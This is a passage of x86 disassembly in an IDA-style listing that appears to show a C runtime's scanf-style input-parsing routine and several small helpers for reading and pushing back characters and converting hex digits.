		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------

loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3

loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D

loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi

loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------

loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------

loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D

loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------

loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]

loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46

loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh

loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	dword_4397AC, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------

loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------

loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	byte_4397B0, bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, byte_4397B0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	dword_4397AC, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------

loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------

loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91

loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------

loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B

loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------

loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	dword_4397AC, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------

loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------

loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43B908
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1

loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_43B930
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46

loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1

loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91

loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------

loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh

loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------

loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------

loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1

loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_43B928

loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh

loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]

loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------

loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl

loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E

loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi

loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C

loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, off_4395A0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al

loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	dword_4397AC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------

loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi

loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1

loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------

loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF

loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax

loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx

loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6

loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	dword_4397AC, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------

loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------

loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	dword_4397AC, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------

loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------

loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760

loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6

loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------

loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------

loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4

loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	dword_4397AC, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	dword_4397AC, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------

loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4

loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------

loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi

loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0

loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]

loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di

loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------

loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, off_4395A0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
		dec	[ebp+var_4]

loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax

loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------

loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		add	esp, 10h

loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4

loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------

loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]

loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E1E5
; ---------------------------------------------------------------------------

loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


